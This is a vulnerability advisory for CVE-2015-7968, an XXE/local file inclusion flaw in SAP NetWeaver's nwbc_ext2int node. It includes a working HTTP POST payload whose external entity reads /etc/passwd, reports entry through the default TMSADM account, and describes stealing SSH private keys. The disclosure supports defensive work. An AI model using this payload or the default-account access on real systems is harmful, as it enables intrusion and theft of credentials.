Title: XML External Entities (XXE) / Local File Inclusion
CVE ID: CVE-2015-7968
CVSSv3 Base Score: 4.9 AV:N/AC:M/AU:S/C:P/I:N/A:P
Products: SAP NetWeaver Application Server
Advisory Release Date: 12 January 2016
Advisory URL: https://labs.integrity.pt/advisories/cve-2015-7968
Credits: Discovery by Tiago Sintra <ts[at]integrity.pt>
SAP NetWeaver Application Server uses a module called nwbc_ext2int which is vulnerable to XXE attacks. According to the documentation, this node is used when data is to be displayed in a side panel. The node converts the external representation of UI elements to an internal representation.
The vulnerability can only be exploited after authentication. For this case study, it was possible to login using the default TMSADM account which seems to be available on various installations by default. Even though access to most areas was not allowed in this account it was possible to enumerate some modules running.
After authentication, we checked which of the default nodes were enabled and found that the nwbc_ext2int responded with XML content. By posting the same XML as the page returned initially, it was possible to get the page to reflect the value on the FIELD_VALUE tag. Since we had a page that accepted XML and reflected our content, the chances of a successful XXE exploitation were good. And in fact, creating a POST request with a simple XXE header proven to be enough to exploit the vulnerability.
POST /sap/bc/ui2/nwbc/nwbc_ext2int/ HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:35.0)
Accept-Encoding: gzip, deflate
<?xml version="1.0" encoding="ISO-8859-1" standalone="no" ?>
<!DOCTYPE xxx [<!ENTITY file SYSTEM "file:///etc/passwd">]>
<asx:abap version="1.0" xmlns:asx="http://www.sap.com/abapxml">
Server responded with:
HTTP/1.1 200 OK
content-type: text/xml; charset=utf-8
cache-control: no-store, no-cache, must-revalidate
server: SAP NetWeaver Application Server / ABAP 731
<?xml version="1.0" encoding="utf-8"?><asx:abap version="1.0"
Since SAP is a Java based application, the XML parser used allowed us to read not only files but also directories. File access is restricted by the user context used to run SAP. In our case, we got a low privileged user but we could still successfully fetch many SAP configuration files and also the SSH private keys of our user from the /home directory. This could allow an attacker to be able to connect directly to the target server through SSH and consequently gain access to many other exploitable vectors.